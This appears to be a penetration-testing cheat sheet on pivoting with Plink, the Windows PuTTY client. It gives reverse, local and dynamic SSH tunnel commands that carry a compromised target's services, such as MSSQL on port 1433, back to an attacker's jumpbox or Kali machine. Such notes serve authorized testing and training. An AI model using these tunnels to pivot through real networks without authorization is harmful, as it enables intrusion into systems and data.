Plink
It's a windows command line version of the PuTTY SSH client.
Remote port forward via hostkey of jumpbox
Requirements: Read the public key of the host
cat /etc/ssh/ssh_host_ed25519_key.pubThen on target
.\plink.exe -ssh -l USER -pw PASSWORD -R 1433:127.0.0.1:1433 -hostkey KEY_SIGNATURE JUMPBOX_IPcmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -NConvert keys with puttygen for Plink:
puttygen KEY -o KEY.ppkLocal SSH Tunneling
plink.exe -L PORT:TARGET_IP:TARGET_PORT USER@VICTIM_IPThen browse to:
Dynamic SSH Tunneling
Then configure connections from Kali machine
1) Open browser, then Connection Settings
2) Manual Proxy configuration
3) SOCKS Host 127.0.0.1 port PORT
4) SOCKSv5 button
5) No proxy for: 127.0.0.1
6) Browse to TARGET_IP
Alternate method: Proxychains
Last updated